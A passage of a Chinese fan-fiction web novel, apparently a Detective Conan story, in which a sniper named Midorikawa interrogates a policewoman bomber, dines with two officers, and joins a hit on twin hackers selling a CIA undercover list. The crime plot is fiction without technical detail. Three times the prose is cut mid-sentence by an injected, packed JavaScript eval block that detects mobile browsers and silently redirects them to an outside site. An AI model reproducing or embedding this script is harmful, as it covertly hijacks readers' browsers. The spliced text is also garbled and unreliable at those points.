炸弹犯与杀人犯们一前一后地坐着,两人对白的语气是如此柔和宁静,舒缓得仿佛一位心理医生在与他的病人谈心,又或者两位病人在交流病情。 “第一个问题,”绿川道,“过去到底发生了什么?” “那是18年前,”女人背在椅后的手攥在一起,稍显恍惚的声音证明她已陷入某种回忆之中,“山梨县西八代郡里有一对经营着机床零件制造厂的夫妻,姓甲木。制造厂在这对夫妻的共同努力下营收良好,稳步扩张,再过几个月甚至可以开设分厂……然而,死亡比未来更早地找上了他们。小丙叶子、乙口太郎、丁野达夫,这三个欠债借贷的惯犯。18年前,他们身上因赌博欠下的债务已经到了没法继续拖延的地步。所以,也许是小丙叶子的提议吧——她是最清楚这对夫妻状况的人,他们想到了拿甲木家的钱财来填补自家的亏空,所以便谋财害命,伪造出了甲木夫妻的自杀假象。” 说到这里,女人的呼吸仿佛被什么扼住了,好一会儿才继续说道: “或许是不想踏出成为恶魔的最后一步吧,三个赌徒最终还是放过了甲木家的女儿。他们告诉了那孩子一个谜题,要她根据谜题去找藏在森林里的宝藏。但他们不知道,那孩子最喜欢也最擅长解谜,因此没过多久,她便心满意足地抱着一个小木箱回了家。家门敞着,在犹豫地踏进屋里的前一秒,她听见了那三人的声音: “‘已经绑好绳子了吧?’‘绝对没有破绽,无论谁看到,都会以为他们是上吊自杀的。’‘万一香子在森林里迷路……’‘那也不是我们的错。’ “一瞬间,那孩子其实没有理解发生了什么,但在理解以前,本能就先感到了恐惧。所以她躲了起来,躲到……即使警察出现的时候也没敢露面,因为凶手们也在现场。‘如果说出真相的话,是不是会和爸爸妈妈一样死去呢?’想到这里,她懦弱地沉默了。她决心用一场躲猫猫比赛的输赢来选择行动——如果警察们能够找到躲起来的她,询问她知道什么的话,她就把一切都说出来。可是,警察们没有问,也没有浪费哪怕一分钟的时间寻找她。父母自杀、女儿失踪,这就是那起案件被定义的结局。 “她从懦弱的女孩成长为懦弱的女人,唯一一次的果断是出于报复那三人的目的而做了警察,从而意外地发现我们竟然都来到了东京,仿佛有神在冥冥之中指引着我似的。摇摆不定,既不能改变自己,又不能驱散迷雾,这就是名为小丙香子的女人的一生。” “小丙?” “母亲出嫁前的旧姓是小丙,我离开山梨后,担心被有心人注意到,所以改了姓氏。那个被绑了炸弹的女人——小丙叶子——是我的姨妈。” “那三个炸弹,如果下午5点前都没人发现的话,真的会爆炸吗?” “会的。”小丙香子道,“但是……你相信也好,不相信也罢,其实我是不希望它们爆炸的,所以当伊达前辈和松田前辈出马后,我忍不住松了一口气。他们,加上那个没有袖手旁观、选择了报警的家伙,就是因为这些人的存在,偶尔也会让我感觉……” “报警的家伙,似乎是伊达警官的恋人。”绿川说道。 “这样啊……” 小丙香子垂下头,轻声笑了。 “太好了,原来好人们都是互相认识的啊……” 绿川换了条腿翘,鞋跟落在地上发出一点烦乱的声响。 “为什么不直接杀了他们?” “你知道日本为什么废除了死刑吗?”小丙香子反问道,“因为杀人是可怕的。用一个人的手去终结另一个人的命,因此产生的沉重重量需要极其强韧的精神才能勉强负担,而我很懦弱。算了……跟你这种一言不合就拿枪指人的神经病说不明白。” 绿川不合时宜地想起琴酒,被逗笑了。 “我不会被你激怒的。”他说。 “那你还真是可怜。” 绿川不理她,继续问道:“你说杀人可怕,可那三个炸弹爆炸的话,不是会杀更多人吗?” “六个。”小丙香子道,“警察不来的话,到时候爆炸的炸弹是六个。我会坐在这里,和我的仇人一起去死,至于那些路人,虽然用我的一条命抵不了一千条命,但……‘那也不是我的错’。” 她故意粗声粗气地模仿着前面故事里仇人的腔调,然后哈哈大笑起来。 “也就是说,比起杀死他们,你更希望自己的案件能够真相大白,对吗?” “或许是吧,又或许……”被这样追问时,小丙香子也迷茫了,“我只是还和小时候一样,等待着别人的行动来决定我的行动。不一样的是,现在终于有人找到我了。” 她一动不动地盯着电脑里兜兜转转的两名警官,嘴角努力地扬起来,眼里却满是悲伤。 “这不是和你当初复仇的愿望相悖了吗?”绿川问道。 “当初也只是觉得自己已经长大了,一定要去完成些什么才行,至于确切的‘杀死谁’、‘如何杀’的念头……”小丙香子顿了顿,“正常人一般不会去认真考虑这些吧?” “正常人,你吗?”绿川沉默:这个满东京装炸弹的女人在说什么? “不太想被你们这种人质疑诶。”小丙香子道,“还想问什么的话尽快咯,前辈们那边好像要结束了。” 绿川暼了眼屏幕,从椅子上起身,直接问道:“复仇重要还是真相重要?” “都不重要。”小丙香子答,“哪怕复仇成功,你也不会再见到想见的人;哪怕揭开真相,也不会有谁陪你喜极而泣。”似乎是有感而发,她提快了语速,一口气道,“我算是看出来了,问了这么多乱七八糟问题的你——和我有着相同的经历吧?你在迷茫吗?是没有动手,还是动手后也没有觉得解放?那是当然的,因为没有从童年里走出来的我们,已经被远远地抛弃在了世界边缘——那里已经没有人在了。” 绿川静静地站着。 忽然,伊达航的声音从电脑里传了出来:“真相,我们已经知道了。你在听吗?” “帮我打开麦克风键和旁边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298535|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通路键好吗?”小丙香子道。 “通路键?” “我篡改了警视厅内一部分电脑的权限,连接到这台电脑上,用来同步播放监控视频。” ……幸好没直接走进去。绿川冷汗。 他按下两个按键,等小丙香子才讲了一句“请说吧,警官们”,便立刻切断了麦。 “你喉咙上的变声器挺有趣的。” “一个老好人博士送给我的,听说还只是半成品,只能调一种声线。”小丙香子叹气,“人家的礼物却被我拿来干这种事,有机会的话,真想和他道歉啊。” “要逃走吗?”绿川问。 “嗯?” “这样下去,你会被抓住的。” “你以为我是为什么坐在这儿的?”小丙香子诧异,“杀人偿命,违法坐牢——这可是我做警察学会的第一个道理。虽说今天以后就要被革职了,但也请让我好好走完自己的结局吧,坏蛋先生。” “甲木香子……”伊达航痛苦却坚定的声音从这个房间的这台电脑,与远处警视厅里的其他电脑中传出,如同一把利刃斩下真相的头颅,“这才是你的本名,对吗,小丙?” “快走吧,他们就要来了。”小丙香子对绿川道。她不再顾及后者,伸手去开麦克风,但被制住了手腕。 “最后一个问题。”绿川道,“如果在你复仇之前,他们就已经死了,你会做什么?” “也许会继续过着这样漫无目的人生吧。”小丙香子说,“相比之下,我更喜欢今天的故事。” 手腕被松开了。 小丙香子摘掉变声器,打开麦克风,回答了伊达航的质问:“16时43分,逮捕嫌疑犯小丙香子——恭喜你们,伊达前辈,松田前辈,一口气破获了两起案件。我在二楼等着你们,不会躲起来的。” 她转过椅子,面朝门口,束手以待。此时,房间里已经没有第二个身影了。 * 绿川从二层走廊的窗户翻进小巷,在那守着警车来来往往,伊达航与松田嘀嘀咕咕,还穿着一身警服的小丙香子被过去的同事们戴上镣铐,上演着互相都感到尴尬的悲情戏剧。 “喂。”有人站在室外楼梯的二层上,倚着栏杆喊道。 绿川从兜帽下抬起一点眼睛,看见了夕阳下的松田。结束了一天工作的男人正在抽烟,烟从指尖往上飘进虚无。 “我和班长要去吃饭,你来吗?” 这个嘛…… 绿川有些犹豫。 伊达航走到他身边。“我和娜塔莉说了你的情况,实在让人担心啊。” “谢谢伊达警官的关心,”绿川笑眯眯道,“其实已经没问题了。” “真的没问题吗……”伊达航摆明一张不相信的脸,二话不说伸手捞着绿川的肩膀就搂了上来。 绿川僵了一下才克制住本能的反应。 另一边,松田叼着烟从楼上走了下来,看向伊达航。“怎么样?” “肌肉还是以前的感觉,虽然确实结实了不少,但没问题啊,松田。”伊达航拍打着绿川的后肩。 “等等,你们——”绿川萌生了不可思议的猜测。 “啊……我们怀疑过你是不是真的绿川隆一。”松田点头,似乎毫不认为自己在聊什么危险话题,“既然班长亲口认证了你的身体没问题,那么就只有一种可能了。” 停一停,这种发言请停一停好吗?为什么一个男人可以认证我的身体?你们条子的友情好奇怪啊喂! 绿川震撼,绿川宕机。在重启CPU的过程中,他听见松田紧接着道: “说实话吧,绿川,你其实——失忆了吧?” 嗯……嗯? 23. 23 “算是吧……”绿川含混地答道。 “真没办法啊。”松田神色平静,似乎对眼前的情况没有丝毫质疑。 伊达航发出爽朗的大笑,“既然如此,我和松田的聚餐,你也一起来吧,对你找回记忆应该会有帮助。” 几乎没等绿川拒绝,松田便轻飘飘地结束了话题:“走了,我定了包间。” ——绿川差不多是被伊达航推进车里的。 一切都发生得太自然太平静,以至于绿川根本没有找到反抗的空隙,如同一场马戏团里上演的丝滑喜剧,其所营造出的氛围是不允许任何人尖叫或痛哭的,如果那样做了,氛围便会在顷刻之间陷入难堪,所有梦境般的美好也将被立刻击碎。 绿川不希望破坏这样的氛围,所以他乖乖地被伊达航塞进了车里,什么也没有做。 一定有阴谋。他想。是什么暂时不得而知,但无论如何,待在这两个条子身边总不会比待在琴酒身边危险——前者开枪还需要这个理由打打报告,后者可不需要。 一定有阴谋。伊达航与松田想,两人坐在前排开队内语音。 “什么失忆,你不会是认真的吧,松田?”伊达航挤眉弄眼。 “不是班长你自己承认的吗?说他就是诸伏没错。”松田也挤眉弄眼。 “我说的是——‘身体是诸伏的身体’,别小看我们对练近百次留下的熟悉感去。” “那不就结了?身体是诸伏的身体,灵魂总不会被鬼上身吧?我可不相信幽灵那种东西,还是说班长你更喜欢克隆人、二重身、洗脑、画皮……” “你最近是不是看了什么奇怪的悬疑小说……” “没,是一个匿名论坛推给我的东西,还挺有趣的。” “好吧,就当是诸伏失忆,但这样一来,他的一些行动未免太可疑了。” “他刚刚消失的时间里是去见了小丙香子吧。二层房间里有两把打开的折叠椅,走廊尽头的窗框上还有鞋印。他要做什么做就是了,躲我们干嘛?” “话说,小丙的经历和诸伏很像啊……” “他是去劝人回头是岸的?” “那就更没必要躲我们了。” 松田点头:“算了,既然说他失忆他也认了,让他上车他也上了,喊他吃饭他也来了,看着好像没什么危险,咱们还是先别往最坏的方向考虑吧。” “如果降谷在就好了。” “算了吧,他要是看见景老爷一副没见过他的模样,我和你加起来都不一定能按住这头大猩猩王暴起。” 伊达航想象了下那样的场景,没忍住笑咧了半边嘴角。 前面那两个,我看得见你们在挤眉弄眼讲小话。绿川腹诽。 虽然看得见,但看不懂,他走了会儿神便开始翻手机:情报商几小时前已经把他需要的文件打包发进了邮箱里。绿川点开文件,迅速浏览了一遍,认为其内容可以大致概括为: 25岁柔弱可欺的无辜社畜绿川隆一,一朝被骗,成为同事打给高利贷钱庄的欠条担保人,随后同事跑路,社畜就此背上千万债务,最终走投无路,逃无可逃,情急之下冲动反击,枪杀了钱庄员工。在被钱庄幕后的极道组织追杀的过程中,社畜越来越深地接触到了地下世界的黑暗,并觉醒了上辈子黄泉没渡完而遗留下的射击天赋,偶然地恰巧地一不小心地—— 枪杀了极道组织的高层。一战成名。 半个月后,社畜便收到了来自黑衣组织的邀请函。 经历是编的,姓名是编的,甚至年龄也是编的,绿川迅速判断道。 他能看出这份档案里的每一个问题,但也只有他才看得出,换作其他任何人,都不会想到“绿川隆一”只是一层假皮囊。原因无他—— 这样的人生实在太常见了。 被骗做担保人,最后死在钱庄的毒手下,他们的死根本不会动摇那些处在黑暗里的人们,相反还会被嘲笑一声“蠢货”,只有像“绿川隆一”那样极少数活下来的幸运儿和天才,才有可能抓住一根从黑暗垂向黑暗的蜘蛛丝。优胜劣汰,适者生存,这就是属于社会另一面的残忍。 “绿川隆一”的经历完美地诠释了这一点,因此黑暗接纳了他。 一套谎话下来,这个世界的“绿川隆一”的真实身份已经呼之欲出了。 真的假的,我是卧底? 至于另一份杉山三的档案,绿川只打开看了一眼照片便知道没必要读下去了——这个世界的杉山三还留着一头长发,乍看像个女孩。他没有见过那个男人,自然也不可能认识自己。不过,这样也好。 绿川收起手机,车也恰好停在了一家居酒屋前。 “先说好,”伊达航按下车钥匙,车前灯闪烁两下后,车门锁了起来,“我还得开车回去,不能喝酒。” “我明天上班,也不多喝。”松田紧接着声明。 “明天我也有事,就稍微陪你们喝一点吧。”绿川用食指搔搔脸颊,不好意思地笑道。 这家居酒屋距市区偏远,店里清静,人并不多。包间在入口左拐的位置,以一扇纸门与大厅隔开。三人点了些菜,又点了两杯麒麟生啤。服务员退出去,纸门便拉上了。 陪人喝酒是绿川的强项,喝着喝着倒也练出了酒量,轻易不醉。组织里的人喝洋酒多,不管是不是真的喜欢,总得先点一杯自己的纯饮代号酒,而伏特加除伏特加外,似乎也偏好清酒。绿川可以在三杯纯饮苏格兰威士忌下肚的情况下面不改色,啤酒基本就是用来助兴的添头了。 第一杯喝得很快,伊达航与松田聊起蹿到树上下不来的猫、商场里走丢的孩子、警视厅附近一家会在傍晚出炉新鲜面包的面包店。绿川庆幸他们没聊工作,否则他还真不知道自己该不该听。 他走神地夹起一筷子海螺片放进嘴里嚼,听见松田喊了一声“绿川”。 “怎么了?”绿川看过去。对方摘下墨镜后,一双青绿色的眸子竟然在灯下盯得人心里发慌。 “你在做什么工作?” 条子会感兴趣的工作。 绿川想了想,没敢这样回答。那两人知道他的本名,却一次也没喊过,说明他们意识到了他不能以真实身份出现;另外,两人一个刑警一个爆处班,就层级而言应该接触不到黑衣组织,因此他们问的大概也不是绿川作为狙击手的身份。 所以,自己是要在套了一层假身份的情况下再套一层假身份? ……你们卧底一定很爱玩俄罗斯套娃吧。 绿川的眼睛瞟向窗外,不远处的高楼上正竖着一家侦探事务所的灯牌。“侦探。”他说,“我在做侦探。” 没有比这更好的选项了。那可是侦探啊?即使某天莫名其妙地出现在犯罪现场也情有可原的侦探啊! “危险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309068|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?”松田问。 “大概……和你的工作差不多吧。” “那可不轻松。” “总得尽力活下来嘛。” “是啊,”一口浊气随着最后的音节被送了出来,“总得尽力活下来嘛。” 伊达航清完了盛海螺片的小碟,筷尖敲在碟边发出一声脆响。“要点点儿别的吗?”他问。 “再点两杯生啤吧,班长,我和绿川的要喝完了。”松田道。 第二轮酒很快上了,空盘空杯撤下,换上几碟新的小菜。 “这好像还是我们第一次坐在一起喝酒。”松田举起酒杯,“不碰一下吗?” 伊达航率先将茶杯迎了上去,然后是绿川。没有人喊“干杯”,取而代之的是松田的追问:“关于失忆的事,你不想问些什么吗,绿川?” 本来是想的,甚至绿川最初正是抱着探查情报的目的才接触了两人,但越接触越感到,这具身体的过去、他所不了解的另一个自己的过去,都已经不重要了。 尽管抱歉辜负了那两名将自己当做朋友的警官,但假如绿川将一直留在这个世界里的话,那他和他们的生活就不该再有交集了。 他们不清楚黑衣组织是怎样恐怖的存在,也不了解现在的他已经不再是他们的朋友。如果不趁早割席,对双方都会是一场灾难。 “没什么好问的。”绿川痛饮一口,从席间起身。“突然想起今晚有事要做,先走了。对了……以后也别在路上装作认识我了,哪个我都不要。” “站住。”松田重重地把酒杯落在桌上,声音有些冷,“绿川——不,我能用另一种方式喊你吗?” “不行。”绿川也犟上了,收起了自己总是带笑的表情。 “你真的还记得自己是谁吗!” “这就不劳两位费心了。” 绿川背对他们,拎起竖在墙边的贝斯包,推门离去。 算到最后他也只喝了一杯半的生啤,夜风打在他脸上,没多久,酒精代谢下去,红起来的脸颊也变凉了。经过这一个下午,绿川的计划已经从“弄清这里的自己是谁”,变成了“切断与过去的全部联系,重新找到一个锚点”——既然他与组织的缘分没有断,这个锚点也就显而易见了。 一通电话忽然打进了绿川的手机,号码未知。这是组织的一贯作风,绿川几乎为心底涌起的熟悉感松了口气。 “你好。”他接起电话。 “现在起的25小时后,新米花酒店1201房间(今から25時間後,新米花ホテル1201号室)。如果没问题的话,带好东西(都合がよければ,忘れ物のないよう)。赶紧制定计划(はやく計画を策定して)。不要漏看邮箱里的情报(いいからメールの情報見逃すなよ)。” 对面响起的声音比绿川先前听到的更稳重些,大概是对待代号成员与非代号成员之间产生的微妙差别。 “我知道了,波本。”绿川应道。 电话立刻挂断了。 绿川听着传来的忙音愣在路边:他还以为波本是贝尔摩德那一类型的人物呢,现在看来倒是比后者苛刻。他看了眼时间,波本刚好卡在晚八点打来的电话,也就是说,任务是明晚九点开始。 这样也好,绿川想,就这样慢慢退回自己熟悉的生活里—— 陪条子玩了半天角色扮演,明天也该休息休息了。 24. 小偷在前,大盗在后(一) 晚间8:40,米花大酒店。 为防止任务中的头脑迟钝,绿川晚餐只吃了一份三明治,并用剩下的时间擦拭与调整枪械,提前赶到了任务地点。 赶到电梯前时,门恰好关到一半。绿川连忙屈起指节敲了敲上行键,重新唤开了门。 门里站着个意料之外但也不算太意外的家伙,肩上与他如出一辙地背着琴盒。 “晚上好,诸星君。”绿川相当平常地示以问候。诸星大一点下巴,意思是“知道了,你也晚上好”。 两人虽说不久前达成了某种职场新人互助协议,但也不至于原地飞升为亲密战友。诸星大从里到外给自己挂了“我是一头效率至上的冷酷孤狼”标签,而狙击手出身的绿川则是从根本上缺乏与人交心的能力,他受到的社会化训练使他几乎可以和所有人融洽相处,在他的社交分级里,熟人的范畴被拉得无限广,剩下的几厘米才是真正用于安放那些对他意义特殊的人们的地方。 比如宫野姐妹,比如哥哥,比如父母。 因此,两人在电梯内无言站着,直到抵达12层,电梯门开,绿川往右手边的1201房间走,诸星大却拐向左边。 “他给你安排了哪个房间?”绿川问。 “1222。”诸星大回。 正好是与1201处于斜对角、位于酒店背面的房间。绿川暂时没搞懂波本这样安排的意图,后者藏着掖着,只将他认为绿川应该知道的信息告诉了绿川。 所以绿川既不知道诸星大会来,也不知道任务背后组织的真正目的是什么,想来没有代号的诸星大受到的应该是同等待遇。 但没关系,狙击手要做的只是记住目标那张(字面意义上)该死的脸,然后—— 送人往生。 1201门外放着一辆用于房间服务的清洁推车,绿川掀开围在推车底边的布帘,找到了一张房卡。 他刷卡进屋,没有开灯,借着从窗帘缝里漏进来的一丝月光观察房间:靠墙的梳妆台上放着一个耳麦,压在一小张字条上。字条上只写了一行字: 【SAFE,4700】 绿川就地坐着组装好枪,随后戴上耳麦,试了试声音:“波本。” “绿川?”对面很快给出了回应,似乎恭候已久。人行灯由红转绿的提示音若有若无地传进耳麦,绿川一手抱枪,一手拨开窗帘,站在窗帘后朝阳台外看。但太多条马路了,根本无法判断波本的位置。 “目标会出现在哪儿?”绿川直问。 “你不知道?” “你给我的信息里没提过这个。” “哦……”波本拉长了腔调,末尾带了一点笑意,轻快地回答道,“是我的错。” 他的声音仍然轻柔,却莫名使绿川感到自己正被一个孩子审视——一个用放大镜在光下对准蚂蚁的孩子。他是为了观察这些小小的生物,还是有意引燃它们,又或两者兼若有之? 绿川与波本仅一面之缘,最多再加上八句话的交情,此刻根本猜不透对方的想法。但有一件事,绿川可以确定。 他被波本戏弄了。 现在看来,这个问题的答案多半就藏在绿川没读懂的那张字条上。“SAFE”按照表面意义而言倒是好理解,但“4700”代表什么?坐标?页码?密码? 波本似乎确信他能够解读这个暗号,为什么? “鸦巢墙上的那扇门,我当初可是找了有一会儿才发现机关所在,贝尔摩德却说你只看了一眼,是个聪明到可怕的家伙。”仿佛看穿了绿川的内心一般,波本轻描淡写地解释道,“不过,你的表现在我看来倒是不尽如人意嘛。” 果然是贝尔摩德。绿川想,他扔出去的这一镖最终还是扎回了自己身上,好在比他想象的早一些,没有引发什么更加不可控的后果。 他虚惊一场地暗暗干笑。在波本刚刚开口以前,他已经一路联想到对方其实认识过去的“绿川隆一”,且建立过“能够靠捏肌肉来认证身体”的深厚战友情谊,因此当他对波本报以面对陌生人的疏离态度时,后者便立刻意识到了现在的绿川是个假货。 已知这个世界的绿川大概率是卧底,求认识绿川却不直接点明的波本不是卧底的概率是多少? 不过——啊哈哈,原来一切是因为贝尔摩德啊,那就好解释了,我就说这联想太离谱了,怎么可能嘛。 绿川满意地堵上了自己可笑的脑洞。 要他承认波本像好人不如要他承认琴酒像卧底,前者甚至是那种嘴皮子上下一嘚吧能把后者逼烦的人,日后必定会在婚姻届上注明“恋爱原因是对方愿意和我一起杀人放火”吧。 “站在阳台上,2点钟方向,东米花大道与明治路相交的十字路口。”耳麦里再次传来波本的声音,对方似乎不打算就此事继续盘问绿川,“稍后我会在那与目标进行交易,交易结束,立即击毙。” “收到。” 绿川盘起一条腿坐在阳台上,举着望远镜观察十字路口。这活儿理应是由观察员来做,以防止狙击手长时间高强度盯着瞄准镜造成的精力下降。 可奈何组织人手稀缺,根本不可能浪费一个代号成员来做专业观察员,而有些任务又不允许非代号成员参与,狙击手们只好自己依偎在自己宽阔的臂膀里兼职观察员。 这是个温度宜人的晴朗之夜,纯黑的天幕下只有一轮圆月宁静地垂在半空。中间有段时间,绿川感到耳麦里没了声音。又过去两分钟,有着亚麻棕发与一双蓝眼睛的目标出现在了望远镜里,手上提着一只白色的铝合金箱。 “波本,”绿川确认道,“目标有双胞胎兄弟吗?” “嗯?你查过他?” “不是……” 望远镜里,绿川看见两个有着同一张脸的青年走在一起,左边的拿着提箱,右边的双手空空,但在绿川向波本汇报情况时,提箱换到了右边那人的手里。 “目标共两人正在接近十字路口,难以区分真正目标,要都杀吗?”绿川问。 “不可能!” 波本咬牙。他来不及切麦,直接吩咐另一边道:“计划有变,诸星,盯紧你那边的目标,不要让他把手上的提箱交给任何人,必要时可以开枪。” “收到。” 绿川猜测诸星大是这样回的,因为波本没再理回后者,转而指挥绿川道: “我已就位。绿川,走掉的那个你不必管了,专注拿到提箱的那个。” “收到。” 绿川放下望远镜,将枪托架在肩上,视线经过瞄准镜的聚焦,笔直地落在了目标身上,步步紧逼—— 猎物正毫无察觉地走进他的领域。 * 晚间8:55,本丹正提着提箱往交易地点走去。他估错了时间出门,此刻离他与交易对象约定的时间只剩五分钟,因此他走得有些着急。 十几天前,他与他的兄弟菲乌干了一件惊天泣地的大事: 入侵CIA数据库,盗取了其安插在各大恐怖组织里的卧底名单。 随后,他们在国内一边逃亡,一边接受各大组织的帮助,并将名单按需兜售,为此赚得盆满钵满,甚至还换到了一颗有着不菲名声的宝石。 最后联系到他们的,是一家总部位于日本的无名组织。据说他们常穿黑衣,以洋酒作为代号。 这次与他接头的交易对象,代号便是“波本”。 组织向他们承诺了一个令人眼红的价格,外加无条件的终身庇护。本丹与菲乌一秒都没耽搁,连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323395|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜偷渡到了大洋彼岸。 在东京生活了三天以后,他们才意识到这片土地上的人们竟是藏龙卧虎,凶残得各有特色,远不止是刻板印象里夏威夷文旅养的无脑韭菜。 第一天,他们吃午饭时有人被毒杀,住酒店时有人被勒死。第二天,他们路过了被抢劫的便利店,偷听了小巷里的违禁物交易。第三天,他们又联系上了又一个以动物作为代号的组织,约定在今晚同一时间交易宝石。 哥哥本丹提着写有卧底名单的软盘去见波本,弟弟菲乌提着宝石去见鹦鹉。 明明已经干到跨国组织的规模了,却还是不给自己起个名字,日本人还真是谨慎又谦逊啊!本丹感慨。 “哥,哥!哎呦等等我!” 本丹被与他有着同样长相的青年拽住了。 “菲乌?”本丹惊讶,“你怎么在这?宝石呢?” “别提了,那边突然说什么交易终止,现在已经联系不上了。”菲乌一脸苦相,气喘吁吁地抱怨,“我把东西藏到了原本的地方,实在坐不下去,就来找你了。” “没事,这个国家可是有不少黄金能挖啊!”本丹安慰道。 “虽然是这个道理,但我实在受不了今晚什么也没做成。不如哥,我替你去和那个波本交易吧。” “但是……”本丹有些犹豫。 “没问题的!你还信不过我吗?”菲乌恼,“倒是你,不如早点回去守着另一个箱子。我担心刚才走得急,留了尾巴。” “你这家伙!”本丹急匆匆地把提箱塞进菲乌手里,“我现在回去,你可别搞砸了,这边才是我们的大客户!” “知道啦。” 本丹知道弟弟的黑客天赋比自己厉害,人却大大咧咧的,大错不出小错不断。先不提宝石可能被路人捡到,如果是鹦鹉故意偏他们终止交易,其实暗中跟在他们身后希望空手套白狼又怎么办?自己一定得回去看看才行。 这样想着,本丹穿过新米花酒店,往藏身处走去。 经过酒店背面的一条小路时,一个熟悉的身影从本丹的余光里一闪而过。他转头看了一眼,诧异地喊道: “菲乌?” “哥?”手拿提箱、站在阴影里的青年瞪大了眼睛,“你怎么在这?” “我还要问你呢!不是说交易取消了吗?你拿着我的箱子站在这里干嘛?” “什么你的箱子……你在说什么啊?” “你!” 不对!本丹冒下了冷汗。“你刚刚一直站在这里?” “对啊。我不是还早你五分钟走的嘛,之后就一直在这儿等鹦鹉了。”菲乌道。 如果这才是他真正的弟弟,那刚刚的男人是谁? 本丹转身便要回去,但他下一秒身子一歪,直直地瘫到了墙边。 低下头,看见裤子上被开了个黑乎乎的枪洞,不巧命中动脉,血如同温泉口汩汩涌出的泉水一样浸成一滩。 开枪的杀手站在路口,没有放下武器,而是越过本丹,走向了自己的下一个目标。 “菲乌……”快跑…… “哥!” 昏迷以前,本丹听见了弟弟的吼声,以及接连两声一远一近的枪响。 * 好热闹啊。 诸星大望着小巷底下混战的四人,心底生出了一丝荒谬的幽默感。 目标俩兄弟是最近一段时间内被CIA通缉的黑客,因此他大约猜到组织的目的是为了交易卧底名单。眼下小巷里共有四人,除目标俩兄弟外,还有从两侧巷口突然现身的两名杀手,其中必有一名是CIA潜入组织的卧底。 那么问题来了。现役FBI卧底、化名诸星大的赤井秀一思索道—— 是谁?他要不要帮? 25. 小偷在前,大盗在后(二) 即便都隶属于联邦政府,CIA与FBI的关系却实在算不上好,交接工作时互下绊子,见面点头时明面上问候“你好伙计”,暗地里的真心话却是“早啊,又来抢业绩了哈”。 赤井倒是没兴趣掺和这种职场纷争(他一般是被针对的那个),何况关系再差劲,那也是关起家门来才能讲的事,赤井如今身在国外,面对的又是与自己处境相同的卧底,不可能轻易去拿人命开玩笑。 这么说来,要帮了? 不。 赤井自己都活得前有狼后有虎,就算有心去帮,也要有命帮到底才行。 他这次任务的搭档,一个是据说在一个月内便拿下代号的情报组红人波本,心比脸黑,喜怒无常;一个是对血与死亡习以为常、杀人不眨眼的狙击手绿川隆一。 青年先前似乎过着平凡普通的人生,结果命运诡诈,他甫一踏入黑暗,竟立刻变得如鱼得水起来。赤井曾在前天的任务里与绿川短暂合作过,亲眼见到了对方即使在取人性命时,脸上的表情也是轻松而柔和的—— 就像处在一间阳光明媚的办公室里、完成工作后正在享受午休的公司职员一样。 赤井看不透青年的想法,选择与对方建立盟友关系也只是走在钢丝上的与虎谋皮罢了。 毕竟要想进一步深入组织,他必须换一张跳板。明美…… 不应该受他的牵连越陷越深了。 总而言之,赤井目前搞小动作的风险实在太大,被波本和绿川哪个逮到都没好果子吃,说不定两人还会为了拿自己邀功而大打出手。 赤井嘲讽地笑了笑。在他思忖利弊之时,楼下的枪战还在继续。 被小巷左侧的杀手(赤井称呼他为L)头一个击中的倒霉蛋应该是他们此次任务的目标之一,现在倒在墙边一动不动,从赤井的视角来看,不清楚是死了还是晕了。第二声枪响来自小巷右侧的杀手(赤井称呼他为R),子弹击中了另一名目标的手臂。 目标立刻朝反方向逃走,下一秒却迎上了L开出的两枪,分别位于胸口与眉心。在目标向后仰躺下去时,L拽住了他,将他顶在身前作为掩体。 短短一分钟内,小巷里只剩下两名杀手。一个在尸体的掩护下站在小巷中央,一个藏在十米开外的电线杆后,谁也没有轻举妄动。 风从小巷内刮过,发出呜呜的泣声。见对面没有动作,L便在风声的遮挡下,轻手轻脚地从死者手中抽出提箱,向小巷外倒退而去。 这时,赤井动了。 在L拽住尸体时,他就已经做好了开枪准备,精神高度集中,迅速计算着子弹落点与风速偏移。一瞬间,仿佛风停,赤井扣下扳机—— 子弹精准命中了L的手背。 对方一声尖叫,手里的提箱摔到地上。 藏在电线杆后的R抓住了这一时机,探出半边身子连开两枪,将L击毙在地。 R防备着刚刚放冷枪的赤井,没有贸然离开电线杆后。但赤井所在的1212房间视野实在太宽太广,几乎一览无余地看清了身穿一件深蓝色西装的R与他脚边的一个银色提箱——与目标手里的一模一样。 于是赤井意识到了:R是CIA的卧底。 只有卧底不会直接拿走箱子,而是用一份假情报来替换真情报。这样一来,所有的过错都会在死去的目标身上。 然而,碍于赤井的存在,R迟迟没有行动。 赤井没别的办法,只好陪他等。好在波本那边似乎也被什么绊住了,一直没有传达新指令。 说到波本,卧底名单的交易不是应该在他那边吗,怎么跑到我这里来闹了一通?死在小巷里的目标俩兄弟,加上波本口中意外出现的第三个目标…… 